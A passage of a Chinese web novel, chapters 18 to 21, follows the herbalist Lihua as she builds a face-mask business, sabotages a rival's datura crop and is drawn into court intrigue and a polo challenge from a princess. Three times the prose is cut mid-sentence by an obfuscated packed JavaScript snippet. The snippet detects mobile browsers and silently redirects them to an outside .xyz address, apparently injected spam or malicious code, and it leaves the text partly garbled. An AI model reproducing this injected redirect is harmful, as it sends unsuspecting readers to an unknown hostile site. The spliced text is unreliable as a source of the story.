那天买了千金方的温补汤,没多久就听说温补汤出事了,市面上还全是盗版的温养汤,她对着汤碗喝也不是倒也不是,盯久了,碗中竟映出还春堂那少年的模样。 听说城南开了家卖美容养颜药的铺子,她借着买药的由头寻过来,没想到竟是同一家。 看着女子装束的梨花,王夫人叹口气。 梨花哪知道王夫人的想法,好不容易来了位贵客,搀着人就往里带。 她给王夫人一样样介绍膏药的用法功效,王夫人本着来都来了的心态随她讲。 正讲到美白芙蓉膏,阿香洗净脸从后堂出来,“梨花,芙蓉膏别卖了留给我吧,这也太好用了。” 帕子拿开,一张水嫩嫩的脸在王夫人眼中发光,最后几罐芙蓉膏毫不意外被王夫人包圆了。 一整天就卖出这些,比完全不开张强。 王夫人走后,浊流来过一趟。 浊流也是谢舟的侍卫,不同于清溪是暗卫,浊流列入锦衣卫中随侍在侧。 浊流带来一张文契,上面是锦衣卫的茶饮需求和茶水费事宜。 当时她就随口一提,没想到谢舟真把这生意给她了,梨花笑得嘴咧到后脑勺。 浊流道:“大人说了,作为交换,让你默出牵丝引的配方和制作方法。” 梨花笑容瞬间消失,果然天下没有白吃的午餐,谢舟不毁曼陀罗居然是想黑吃黑,拿牵丝引为他所用。 梨花痛快地将配方交给浊流。 有配方又如何,反正也用不上。 好雨知时节,空气中弥漫着土腥气,梨花大口嗅了几嗅,静静等待这场及时雨。 18. 开辟生意 还春堂的美容养颜生意正式做起来了,往来者众,但消费者少。 过去做妇人容颜生意的多是胭脂铺,讲究效果立竿见影,内服丹药顾客对效果存疑。 一日,梨花百无聊赖坐在店门口等客人,外头过来一群人。 来人五颜六色花枝招展,是七八个穿着轻纱的姑娘,姑娘们中间簇拥一个手舞足蹈的少年,梨花定睛一看却是小川。 转眼间一群人嘻嘻哈哈来到还春堂门前。 小川道:“姐妹们,这就是我和你们说的好地方!” 梨花没弄明白怎么回事,大家已经自觉进店摸索。 转了几圈,头戴大红牡丹的女子最先开口:“看着不过是些普通丹药和药膏,真有你说得那么玄乎,能让我返老还春?” 女子看着也就二十几岁,怎么有返老还春一说。 梨花还愣着,小川站在身后轻轻推她:“还不给客人介绍介绍。” 做生意要紧,梨花立刻回神,详细介绍丹药如何细水长流调理身体,红牡丹伸出细长的食指轻点梨花嘴唇。 “做我们这行最重要的就是青春,若不能快速让我恢复容颜就不必再说。” 涂了丹蔻的手指映入眼帘,梨花才想起她是摘星楼的头牌舞姬,那天在李遥的宴席上站在中心跳舞,妖冶的神态魅惑众生。 揭去面帘,确实能看到她眼下些许的纹路,可如果不是贴面细看,根本注意不到。 红牡丹是摘星楼资历最深、舞姿最美的舞姬,花无百日红,面对楼中不断涌现的新人,她越来越焦虑。 梨花本想说谁的肌肤没有纹路呢,可她想起自己是做美容养颜生意的,话到嘴边又咽回去。 正巧阿香给锦衣卫衙署送凉茶回来,梨花想起那天王夫人看见芙蓉膏的神情,立刻有了主意。 请众人在前厅稍作休息,梨花和阿香在后堂用矮凳和丝褥临时置了一张榻。 红牡丹将信将疑躺上去,阿香为她卸妆净面。 当众卸妆红牡丹还是第一次,有些局促,随着阿香敷上芙蓉膏,她渐渐放松,梨花坐在后面为她轻柔按摩肩膀,侍候惯别人的人,第一次享受这样的服务,红牡丹舒服得睡过去。 一炷香后,阿香带红牡丹洗去芙蓉膏,众人在前厅早等得坐不住。 “人来啦!” 阿香话音落,众人就见红牡丹顶着一张水嫩嫩的脸出现。往日铅粉胭脂覆上,也没有此刻白里透红的天然血气。 女孩们叽叽喳喳围上去摸,那张脸如同剥了壳的鸡蛋般细滑,红牡丹捧着镜子露出久违的笑。 这下热闹了,一个人体验过不行,其他女孩也要体验,没地方躺就仰头靠在椅子上,这儿一个那儿一个坐满还春堂。 阿香和梨花为她们涂抹芙蓉膏,小川很绅士地不看,背过身坐在门槛上招逗路人。 梨花手头完事,兴冲冲拍小川后背一掌:“可以呀你,带人来照顾我生意!” 小川皱眉倒吸一口凉气,龇牙咧嘴拍回去道:“疼,那天打板子的伤还没好呢。” 那日他被巡捕营的士兵带回去,犯宵禁按规矩该打二十板子,因着谢舟的“特意交代”,把总心领神会又多打二十板子。多亏他年轻力壮,吃了几天药又能活蹦乱跳。 梨花惭愧,心虚地咬了咬唇,奉上阿香亲手做的鲜花饼赔罪。 交谈间才知,小川去摘星楼寻了份力工营生,因为人机灵,颇得姑娘们的欢心,被安排做迎来送往的活儿。 红牡丹最照顾小川,那天她不舒服,徐掌柜非点她侍酒,她手抖不慎洒了,被徐老板扇了一巴掌,大骂:“年老色衰也就罢了,连倒酒都不利索,不如去投井。” 红牡丹捂脸哭着跑出去。 这一幕刚好被小川看见,为给红牡丹出气,他趁夜跑到徐掌柜盘下的铺子放火。 又是徐老板,听到这个名字梨花就气不打一处来,她恨恨捏碎手中的鲜花饼道:“他会有报应的。” 小川笑她:“什么报应,拜神祈求雷劈死他吗?” 梨花嗔怒:“你看不起谁呢,说不定我平地一声雷炸了他,连你那份一起算上。” 小川翻白眼,“我可谢谢你。” 梨花趁机把鲜花饼碎倒进他嘴里,“不用客气,多介绍点顾客来就好。” 她起身回去,女孩们刚好敷面结束,洗净脸满意的不得了,又笑闹起来,其中绿衣女子道:“好像在面颊覆了一层水膜,要是天天能享受这般服务就好了,这叫什么啊?” 梨花灵机一动:“敷面膜。” 小川凑过去嘚瑟道:“我就说你们会满意的吧。”红牡丹笑着戳他脑门。 梨花提醒:“芙蓉膏只有即时效果,想长久维持还要靠内服滋养。” 这次红牡丹心悦诚服,以她为首定下许多药膏和丹药,其他女孩纷纷跟随,一众女孩欢欢喜喜走了,小川回头冲梨花挑眉,顺便对阿香抛了个媚眼。 还春堂做成一笔大生意,银子周转起来。 绿衣女子的话给梨花提了个醒,可以把“敷面膜”做成一项服务,不止使容颜美丽,更可以作为一种享受。 ———— 说干就干,还春堂格局彻底调整。 正好这几天下雨,生意一般,梨花征得梅伯同意,拿钱盘下隔壁铺子,两间房打通。 西边一间继续卖药接诊,同时多设置了专门展柜,专售美容养颜药,可以送货上门。东面置了几张软榻,榻边配有单独脸盆面巾等,每张榻用纱帘隔开,形成独立空间。 大家分工合作,阿香主动揽过送货上门的工作,三天两头往摘星楼跑,药箱里除了红牡丹她们定的药膏,还有梨花给小川准备的特制伤药,还有阿香做的吃食,后来又多了新纳的鞋垫、护腕。 梨花每次笑着目送阿香出门,阿香脸红通通不敢看梨花。 为了让更多人知道还春堂新增了敷面膜服务,梨花请停云阁老板写了许多传单,她每日到街上发。 初次服务免费体验,满意再来。 还春堂的芙蓉膏效果实在惊人,周围年轻女子、中年妇人都来体验,其中不少成了常客。 客人越来越多,梨花和阿香忙不过来,又雇了一个人帮忙。 新来的雇工也是女子,名唤秋水仙,爹娘离世从外地来投奔亲戚,亲戚嫌她累赘把她拒之门外,她晕倒在还春堂门口,被阿香救回去。 醒来后,秋水仙跪求留在还春堂,看着身世境遇相似的女子,梨花心软把她留下了。 三个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959859|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子经营生意,梅伯搞后勤,四人就这么把还春堂发展壮大。 以往妇人们总围着灶台打转,现在有了敷面膜的闲暇时光,竟成交友的新途径。都是女子,从美容养颜聊到家长里短,再聊到夫妻生活,许多心酸苦楚有了共鸣。 还春堂名声越来越大,住得远些的人有时也过来。 这天,归流河边浣衣的胖、瘦两妇人也慕名而来。 痩妇人问:“你家那个喝了药管用么?” 胖妇人扯扯头发无奈道:“管用了几天就没了。” “怎么没了?” “药铺没了,说是抓错药。” “拿着方子去别家抓药嘛。” “你可不知道,好几家常去的都关门了,还有几家花店也换人经营了,你说奇不奇怪……” 胖妇人正说着,旁边“当”一声铜盆落地的声音。 梨花手发抖,顾不得道歉跑出去。 天空黑压压的,梨花的心比天还沉。 谢舟不让她明着毁了曼陀罗,她就另辟蹊径。 种曼陀罗需要特制的花肥,梨花几番周折寻到供应商,借订购花肥的机会,将鬼针草的草籽混入其中。 鬼针草的草籽遇水会让其他植物快速枯萎,到时候也查不出任何痕迹。 这段时间京城多雨,梨花利用鬼针草神不知鬼不觉毁了徐老板种的所有曼陀罗。 她以为万事大吉了,却不曾想激得徐老板变本加厉蚕食店铺,她又一次做了害人的推手。 梨花头脑一片混乱,她跑到归流河边,天上下起暴雨。 “所有选择都要付出代价。” “所有选择都要付出代价。” 梨花又哭又笑不住地重复这句话,雨拍在脸上,她浑然未觉。 过了许久,她才发觉头顶的冲刷消失,一把伞不知何时遮在头上。 她黯然回头,杨贞举伞站在她身后,一身青衣与天地融为一体。 看着杨贞握住伞柄的手,梨花心中的酸涩一下爆发。 “杨大哥,原来真的有人做出选择,却是让别人付出代价。” 杨贞听闻还春堂扩大生意,带了贺礼拜访,却听秋水仙说梨花突然跑出去了,他沿着脚印一路追过来。 杨贞不知道梨花发生了什么,但她那样豁达的人,定是遇到天大的委屈。他拿手绢轻轻擦去梨花额头的雨水,顺带不经意抹干眼角的泪珠。 “非你所愿做出抉择,何错之有。” 那时梨花也是这样劝他的。 “不是的,有人警告过我,是我执迷不悟。” 原来谢舟早预料到那些人不会就此收手,面对他的警告,她还让谢舟不要干涉。 她好自以为是,真的可笑。 世事逼人,无可奈何,再多规劝无济于事。 雨下得更大了,杨贞将伞往梨花一边倾斜,至少帮她挡住这一刻的风雨。 噼噼啪啪的雨急促敲打,沿着伞骨浇湿杨贞整个后背,布料沉重地贴在身上,风一吹冷得很。 杨贞往前半步替她挡风,梨花心神恍惚靠在他胸前,他的心漏跳了半拍。 暴雨喧嚣,伞面将他们与天地隔开。 一把伞,两个人,肩并肩踏雨走回还春堂。 19. 尘埃落定 回还春堂的时候,雨已经停了,店中陆续进客,不像医馆,倒像市井商铺。 梨花有些惭愧道:“我要考太医院,需要捐官补任,这才做起美容养颜的生意。”她怕杨贞误会她利欲熏心。 杨贞收伞放在一旁,注视街上来来往往的行人良久,道:“梨花如静女,寂寞出春暮,你不是依附他人的丝萝,将来必有广阔天地。 梨花捏了捏手绢,“等我洗净再还你。”说罢跑回还春堂。 颓靡了几日,她下定决心不再管别人的闲事,继续投入到生意中,好早日赚到钱进太医院,找到老爹的踪迹。 王夫人又来了,身边同行的是一个带幂篱的女子。 女子悄悄掀开纱帘瞧那些敷面膜的客人,见净是些言语粗俗的普通妇人,皱了皱眉退出去,王夫人小心翼翼跟在一旁不做声。 梨花在隔间门口站了半晌,瞧见女子一身素色衣裳,乍一看不显眼,可脚上那双鞋子在日光下泛出五彩的光,此人非富即贵。 梨花热情迎上去,女子退半步躲开,毫不掩饰心中的嫌弃,梨花立刻心领神会将人带到单独的诊室。 婢女拿丝绢擦净椅子,女子才款款坐下掀起幂篱,露出一张妖媚的脸,眼神睥睨凌厉,艳艳红唇一翻,开口便是指责:“纯茵,你胆敢将我诓到这腌臜之处?” 纯茵是王夫人的闺名,她拉住女子的手搓一搓,“我的好鸳鸳,来都来了试一试呗。” 纯茵与鸳鸳是同乡,一个嫁给商贾成了王夫人,一个嫁给丧妻的大官成了贵妾鸳夫人。 鸳夫人荣华享不尽,唯独难得一心人,夫君姬妾成群,她整日与莺莺燕燕斗法,近来新添一美妾,鸳夫人罚跪美妾,与夫君离心。 王夫人删繁就简,只说鸳夫人想再复青春,得丈夫欢心。 梨花诊过脉,写了药方给阿香抓药,连同养颜膏一起交给婢女,王夫人微笑点头,鸳夫人勾着眼起身,戴上幂篱离去。 等她们走远,阿香才问:“你开的都是去火之药,大多不值钱,怎敢卖十两银子?” 梨花依依不舍望着财神爷的背影道:“药确实不值钱,给她开的秘方才值钱。”鸳夫人走时,梨花悄悄塞给她一张纸条,“我说她虚火旺,让她穿得清凉些。” 阿香半晌才反应过来,瞪大了眼道:“你是让她……”难怪鸳夫人走时神情异样。 ———— 很快便到五月初五,杨盈回京的日子。 太后銮驾从青阳关天承寺出发,绕到京城正南方的永定门,再由永定门一路向北经正阳门进皇城,三十二人抬驾的銮仪卫浩浩荡荡铺满半条街。 銮驾上,坠了几百颗珠子的九龙九凤腾云冠高高顶在头上,杨盈纹丝不动端坐其中。 二十几年前,也是这样的阵仗,她作为中宫皇后被迎进皇城。 五年前,她素衣落髻乘一辆小马车去往漠风。 如今再回来,她透过窗帘缝隙往外看,长街依旧,故人不再。 百姓许久没见过这样的阵仗,纷纷挤上街围观,梨花和阿香、秋水仙也休假一日出门凑热闹。 阿香啃着苹果问:“不知道仁德太后长什么样子,跟咱们一样两个眼睛一个鼻子吧。”秋水仙用手绢捂嘴笑她。 梨花踮脚四处看,人潮涌动,茶肆酒铺林立,男女老少吃喝玩闹,其中不乏挥金如土的达官显贵。她看了半天感叹一句:“到底还是皇城根儿下的人有钱,要是他们都来还春堂消费,我们岂不是赚发了?” 阿香懵懵回头看她:“现在每天赚十几两已是我不敢想的了,还能奢望更多人来。” 还春堂在城南,住的都是卖力气的人家,大家都混个温饱,没哪家做得了大生意,还春堂已是其中佼佼者。 梨花望着銮驾痴痴道:“酒香也怕巷子深,现在缺的是名气,要是宫中贵人也用我们的芙蓉膏就好了。” 銮驾被抬进午门,号角声响彻整个皇城,百官朝拜。 曾经站在丹陛之上睥睨整个皇城的李潇,现在眼睁睁看着另一个人走上来,一步一步与她并肩。朱红大袖之下,一双秀拳快攥碎了,面上却要装的云淡风轻。 皇帝宁洵坐在金銮殿上,这是他第一次独自坐在此处,摸着金漆雕龙的宝座,一股畅然从胸腔划过。小太监进来提醒吉时已到,宁洵扶一扶皇冠,深吸一口气出去。 一应仪式礼部已经安排好,祭天大典,正式朝会,百官拜谒,夜宴。 太和殿灯火熠熠,官员觥筹交错,杨盈坐在皇帝身侧有些恍惚,一会儿好像看见先帝和哥哥,一会儿又看见谢谦。 “哥哥”走上前拜见:“仁德太后千岁。”杨盈才清醒,说话的是杨贞。 杨贞奉命去青阳关处理难民的事,错过杨盈的回归仪式,方才才赶回来。 五年未见,曾经骄傲自负的侄子变得成熟稳重,经历过什么自不必说。看见杨贞,她终于笑了,走上前抚去杨贞肩上风尘,“你辛苦了,落座吧” 杨贞拱手行礼,“臣职责所在。” 他并未归席,而是直接向皇帝汇报:“辽东大旱,百姓生活难以为继,当地太守隐瞒不报,百姓被迫逃亡至京城。” 辽东太守是李潇母家人,席下百官纷纷看向杨贞,心道他为姑母出气,一来便将矛头对准李潇。 李潇压住心中怒火问道:“怎的这么巧,这些难民就被仁德太后救了?”杨盈可真会做戏收买人心。 杨盈被歹人袭击的事人尽皆知,但如何逃脱并不清楚,只听说是被礼部侍郎蔡嘉铭和宣威将军赵世成寻到,后又在天承寺救济难民。 真相被蔡嘉铭捂死,只有李潇和皇帝知晓杨盈与难民共处一室之事,问这话就在警告杨贞,让她不痛快,他的姑母的丑闻也别想藏住。 杨贞看杨盈一眼正要说话,殿外传来小太监急切的喊叫声。 “您不能带这个进去……” 众人向外看门口,谢舟带着个箱子要进殿,小太监不敢拉扯谢舟,侧身挡在他身前又挡不住,急得头顶冒烟。 皇帝摆摆手,小太监退下,皇帝笑问:“你怎么才来?”刚才的气氛不好收场,他正愁怎么办,谢舟这个救星适时而来。 谢舟道:“是臣办事不力才让仁德太后遇险,臣将功赎罪去了。” 他将箱子往地上一抛,里面赫然露出赵世成的人头,席间一片尖叫哗然。 皇帝大怒:“你这是何意?” 谢舟走到杨贞身边与他并立,“青阳关守将赵世成与山匪勾结残害百姓,发现难民不上报反囚禁起来,一切祸端源于此人,臣自作主张取此人性命,请皇上降罪。” 杨贞正要说话,谢舟拉住他轻声道:“你要毁了仁德太后苦心经营的一切吗?” 杨贞踌躇。 大殿一下肃静。 谢舟果然是那个杀人不眨眼的活阎王,想杀谁便杀谁,先斩后奏,还敢提首级上殿。 以前有李潇罩着,他可以无法无天,现在杨盈回来,赵世成是前太子府邸出来的人,他也说杀就杀, 众人等着看他的下场。 李潇肩头放松往后靠,谢舟将一切罪责推在赵世成身上,难民之事死无对证,辽东太守只是失察之罪,看来谢舟还与她同一阵线。 杨盈面无波澜,心中却多了一分计较,说好合作,谢舟明知赵世成是她的人却杀了赵世成,虽说堵住了她曾流落难民营的事,但也拔去她刚放上的一颗棋子。 两位太后都不表态,所有人等着皇帝发话。 难民的事事关国祚,一面是得百官支持的李潇,一面是得民心的杨盈,登基之后第一件事就如此棘手,皇帝颇为头疼。 谢舟一副事不关己静待发落的模样,杨贞满腔怒火无处发。 这时,百官中坐在最前的中年男人起身站到正中道:“臣以为当务之急是拨出赈灾银救济辽东百姓。” 说话之人是次辅方延昌,首辅致仕以后,百官以他为尊。 他一开口皇帝像抓住救命稻草忙道:“对对对,拨赈灾银,户部吏部赶紧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人一路走一路逛,把沿街好吃好玩儿的都买了一遍,小川嘲笑梨花没吃过好东西,糖葫芦都能一次吃三根。 梨花道:“我最喜欢吃糖葫芦了,有一次地上掉了一颗,滚了好远被人踩扁,我刚要捡就被一条狗吃了,我追了那条狗三条街,掰开它的嘴把糖葫芦抢回来。” “所以最后那糖葫芦你吃掉了吗?” “讲故事骗你你也信,白痴。” 梨花抱着东西跑远了,小川还站在原地,他回头又买了一串糖葫芦,酸酸甜甜,果然很好吃。 梨花在红牡丹房中坐了一天,同样都是针,治病的银针她可以毫无偏差刺入穴位,绣花针却怎么都拿不稳,几乎把自己的手扎成筛子,才勉强绣出一个花形状的东西。 晚上红牡丹要跳舞,梨花便回了还春堂。 路上看到官府贴出告示:徐氏药材铺掌柜经营私炮房,操作不慎致使炮房爆炸,本人连带工人一起被炸死,同时查出其联合地下钱庄骗人钱财的罪证,数罪并罚,先前报官者可凭状纸和证据拿回个人钱财与房契。 梨花对着告示久久不动,百姓围在一起讨论。 “他哪是经营私炮房被查的,这告示只说了一半真相。” “哦,看来你知道内情?” “我兄弟衙门的,喝多了才透露,他是在私炮房偷偷炼药,听说还是什么禁药的,这次炮房爆炸才捂不住了。” 梨花腿发软,走出人群扶着墙站了好一会儿。 炼制牵丝引需要芒硝,存放芒硝最不惹人注意的就是炮房。 之前谢舟问她要牵丝引的制作方法原来是为了找炼药之处,从根源拔除祸患。 谢舟似乎和他表面看起来的不一样,异样的情绪涌上心头,还未弄清究竟是怎么样的情绪,身后突然有人拍她肩膀。 “快跟我走!” 20. 明月公主 春花谢尽,夏日将至。 宫里静了许久,值得讨论事情的只有两件,一是谢舟因为杀害赵世成被皇帝杖责,罚在家中禁足半月,二是杨贞继承老师黄忠言衣钵,被皇帝提拔成正四品的佥都御史,负责考核百官政绩和廉洁情况。 其实还有一事,次辅方延昌被正式任命为首辅,此事在所有人预料之内,自不必说。 朝中风向一变再变,浸淫官场多年的老人也不敢说看透一切,找借口闭门不出。 六月初一,端肃太后李潇在熙园举办了一场盛大的马球会,熙园在京城正北,是最大的皇家园林,东有太液清波荡漾,西有牧场广阔绵延,马球会便设在牧场上。 王公贵族家的适龄子弟几乎都受邀参加,大家心照不宣,此次盛会是李潇为明月公主择选驸马。 明月公主宁照夜是李潇的亲生女儿,小时候因生母不受宠,她在冷宫长大。母亲一朝得势,她飞扬跋扈养成无法无天的性子。 宁照夜看不上这些整日斗鸡走马的纨绔,婚事一拖再拖,母亲说杨贞也会来,她才勉为其难出席。 场中正进行马术表演,观众席最高处的女宾席上,宁照夜珍珠贴面斜倚榻上无聊地吃荔枝,水红色织金裙从榻边自然垂落。 下方坐的是谢训之女谢知秋,黄忠言之女黄蔓,以及各家贵女。贵女们想趁此机会挑选心仪夫婿,以扇掩面窃窃私语。 随着一声悠长的号角声,声势浩大的骑阵方队出现。李遥骑一匹狮子骢行在最前,狮子骢多青白杂毛,这样通体雪白的实属罕见,一下便吸引了全场目光,他目不斜视,对众人的目光习以为常。 在他右边的一位披挂鎏金彩衣,头插孔雀羽毛,笑着四处挥手,有意无意往观众席看,不时送上飞吻,引得观众惊叫连连,尤其谢知秋,在与他对上眼神后羞红了脸。 虽然骚包,但这位的身世背景是所有子弟中独一份的尊贵。 此人名叫顾承嗣,既是前首辅顾弘光的外孙,又是现首辅方延昌的独子,还与当今皇帝宁洵是表兄弟,李潇中意的驸马便是他。 奈何他再金光耀眼也没用,宁照夜眼中只有杨贞,她目光急切地在方阵中搜寻,找了几遍都没看见那个心心念念的身影,一生气将手帕丢出去。 在旁边坐了许久的谢知秋终于有机会上前来,今日她也穿了水红色,偏与公主撞色,她怕公主迁怒,半分不敢靠近。她捡起手帕还回去,不经意说了句:“月前杨大人跌断了腿,想必是没好利索不能打马球,现下大概在男宾席坐着呢。” 宁照夜想起这个就来气,杨贞在李遥的宴席上坠楼,她都要恨死这个小舅舅了,可小舅舅从小疼她,她还能真与他翻脸不成。她要出宫看望杨贞,却被母后阻拦,关在寝殿今天才放出来。 她向男宾席张望,隔着屏风什么也看不见,秀眉紧拧,一张小嘴撅得能挂油瓶。 谢知秋又道:“听说当日是个女子救了杨大人,当众扒下衣服检查伤口,杨大人事后几次去找她道谢……” 宁照夜脸色更黑了,她倒要看看什么女子敢勾引她的人。 “那贱人现在何处?” 最末坐着紫衣女子眼神一转道:“听说是城南一家医馆的女大夫,叫什么方梨的。”紫衣女子是一个低品阶小官家的女儿,本不在受邀之列,费尽力气打点才来到马球会,想在公主面前表现一番。 宁照夜眼神都不看她,拳头一攥凶狠道:“管她方梨圆梨,我非叫她变成扁梨!” ———— 梨花坐在柜台前打了个喷嚏,自那夜之后,她再未见过谢舟,谢舟没叫人找她诊病,她本想自己去,又觉得荒唐,每日呆在还春堂不想出门。 美容毕竟不是常事,百姓热潮褪去,生意归于平静,想在期限前攒齐三百两银子很难,梨花心绪不宁满身燥热举扇使劲挥。 这时外面站了个女子,个头不高但下巴药扬上天,对着店内大喊:“方梨何在?” 梨花跑出来迎客,那女子眼一翻,“便是你?走吧,我家主人要见你。” 阿香看不惯她盛气凌人的样子,叉腰挡在梨花面前问:“好没礼貌的丫头,你家主人是谁?” 这女子看着岁数小,但气派十足,多半是哪个大户人家的侍女,莫非要有大生意了?梨花扯扯阿香示意她退后,女子下巴扬得更高自豪回答:“明月公主。” 竟是公主,阿香疑惑地看看梨花,觉得来者不善。梨花喜不自胜,还春堂养颜膏的名声居然已经传入宫里了,大主顾可得服务好。 她兴冲冲收拾药箱,秋水仙一边装养颜药膏一边低声道:“听闻公主跋扈,你此去千万小心。”梨花点点头上了马车。 马车一路奔驰,去的不是皇宫,而是熙园。 一路过来,梨花弄明白此处正举行盛会,但不知公主为何这时候找她,问侍女也不回答,她挎好药箱亦步亦趋走在平坦的牧场上。 清风徐徐,梨花好像回到小时候,西北也是这样广阔的草原,她不由得驻足,闭眼深吸一口气。 突然耳边突然传来尖叫哄闹声。 “啊!” “小心!” 一颗球正对梨花面门而来,球是坚韧牛皮所制,看着小却十分重,这要被砸一下恐怕会变成傻子,众人吓得站起来。 梨花听见声音睁开眼,球擦着鼻梁停住,后面握住它的是一双嫩白的手,手的主人眉开眼笑,头顶的孔雀羽毛一抖一抖。 顾承嗣举着球冲观众席摇晃,观众席立刻爆发尖叫掌声。他把球抛给李遥:“荣国公,准头有所欠缺啊。” 李遥不语,接住球返回场上继续比赛,顾承嗣回望梨花单眼一眨,随后也返回场上。 事情发生和结束都太突然,梨花还没反应过来,倒也无碍,她三两步追上公主侍女,走上观众席行道,这时身后有人叫她。 “梨花,你没事吧?”杨贞从男宾席跑下来,似乎太惹眼,他又变成快走。 梨花回头冲他笑,侍女催促,梨花只好摆摆手打招呼,指了指女宾席方向,转身走了。 两人的互动被宁照夜尽收眼底,后槽牙快咬碎:果然是狐媚子,定要叫她好看。 梨花跪在地上行礼,半天都没人叫她起来,她抬头往上瞟,身后扶华盖的、执扇的、捏肩的、侍果的……其他人坐得距她一丈远,梨花心叹:到底是公主,架子真大。 宁照夜目视前方,仿佛没看见梨花这么一号人似的,梨花继续跪着,日头越来越高,头上挂起薄薄的汗。 黄蔓道:“公主,我有点头疼,可否让此女为我诊治一二?” 角落的紫衣女子讥笑:“她一个卖养颜膏的,哪里会诊病,可别耽误了黄小姐。”紫衣女子揣摩到公主为难梨花的心思,主动凑上去作出头鸟。 梨花打眼一瞧,眯了眯眼道:“小姐的面疮可好些了,没再流脓水了吧,祛疤膏要坚持用……” 当众说人烂脸生疮,杀伤力巨大,紫衣女子气得七窍生烟,扑过来用扇子拍打梨花,其他人见她这般无状侧目吁叹,她左右踱步大声道,“她胡说,没有的事!” “够了。”公主发话,众人顿时噤声。 看了半天戏的宁照夜坐直身子正视梨花,见她长相普通,穿着普通,尖牙利齿,这样的人怎会得杨贞青眼。 她往男宾席看去,杨贞果然将座位换到靠近屏风,眼神不时隔着屏风往这边瞟,她更生气了,走下台阶挑起梨花的下巴问:“就是你勾引我的行勉哥哥?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983503|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨花被问的莫名其妙,道:“我不认识你的行勉哥哥。” “摘星楼做出那样下贱的事,还说不是勾引?” 梨花脑子一动,才明白过来说的是杨贞,便回道:“大夫行医救人怎会是下贱?况且我与杨大哥清清白白。” 连杨大哥都叫上了,还敢说清白?宁照夜嫉妒到扭曲,“来人,将这贱民给我抓起来!” “且慢。” “且慢。” 两道声音同时发出,黄蔓道:“今日是端肃太后举办的盛宴,弄出流血之事不好看。” 端肃太后是她亲娘,宁照夜才不怕呢,仍要动手。 谢知秋道:“公主想是不知,这女子可是救了我哥哥的神医呢。”她方才就觉得梨花眼熟,看了半天才想起在谢舟房中见过。 众人皆是一怔,她竟然和谢舟有关系,紫衣女子手脚发凉悄悄坐回去。 宁照夜犹豫一下斥道:“既有医术却不好好施展,替人敷面骗钱,利欲熏心之徒。”她特意加重利欲熏心几个字,确保屏风那头能听见。 梨花直视宁照夜道:“公主生来高贵,却不知天下女子皆有爱美之心?况且……” “况且什么?” “况且纵我有一身医术,何来施展之处?” 宁照夜被梨花的眼神看得发麻,觉得她说的不无道理,僵硬道:“你……你先起来。” 梨花扶着膝盖晃了晃才站起来,施了一礼道:“民女只是一个卖药的小伙计,若公主不买养颜膏,那民女先告退了。”她可不想承受无妄之灾。 “你不许走。”宁照夜还没发泄够,怎么能就这样放她走。 “不许谁走啊?” 赛完一场马球的顾承嗣正要休息,听到这边有热闹火急火燎过来,边走边抛金稞子,又是引得一波尖叫。 宁照夜翻着白眼啐他:“又输给我小舅舅了吧。” 顾承嗣捂胸做痛心疾首状,转而掏出一个蚂蚱丢在宁照夜身上,吓得宁照夜跳起来,定睛一看是青草编的,气得举拳要打人。 顾承嗣握住她的拳头道:“动不动就打人,真是刁蛮。” “是你欠打。” “也不知道谁将来倒霉要娶你。” 宁照夜放下手眼睛往屏风那边看,“不劳你操心,反正不会是你。” 顾承嗣垂眼这才注意到梨花,一惊一乍道:“哎呀,这不是刚才差点被砸到的姑娘吗,如何得罪了这刁蛮公主?不对,你看着乖巧,想必是某人故意找茬。” 宁照夜本就因杨贞迁怒梨花,被顾承嗣戳破找茬真相,一时挂脸上不住,指着梨花道:“此人是骗子,本公主替天行道教训她。” 梨花心道不妙,公主气上心头,再不解释恐怕要被以行骗之罪拿下,赶忙道:“民女不曾骗人,养颜膏确有效果,购买过的人都可以作证。” 宁照夜道:“贱民用的东西,谁准你拿到此处售卖?简直不把本公主放在眼里。” 梨花瞪大眼无辜解释:“不是公主请我来的吗?” “你!”宁照夜涨红了脸,确实是她叫人来,可她是公主怎能落了下风,顿了一下强说:“想卖养颜膏也不是不行,只要你赢过我,以后明月宫的面脂全从你家买。” 梨花眼睛亮了,仿佛看见财神爷在撒钱,生怕公主反悔,立刻大声道:“谨遵公主旨意,公主想怎么比?” 宁照夜看了一眼台下,轻笑:“就比马球,输了你立刻滚出京城,永远不许再出现在行勉哥哥面前。” 梨花毫不犹豫回答:“好!” 宁国贵族女子也学骑射,公主是其中佼佼者,打马球的技术堪称一绝,这局公主赢定了。 众人等着看好戏。 21. 银月弯钩 马球场上,宁照夜卸下钗环换上比甲,手举球杆身姿高挑骑在马上,像一只高傲的雌鹰,她眺望杨贞,杨贞看向她的方向,看的却不是她。 杨贞一向孤冷,对她不假辞色,对其他人也淡淡的,她从前只觉得杨贞性情如此,可今日方知,他的冷静自持是因为不在意,有人能牵动他的心,他的视线始终都在那个人身上。 宁照夜不耐烦地催促:“败局已定,何必浪费时间?” 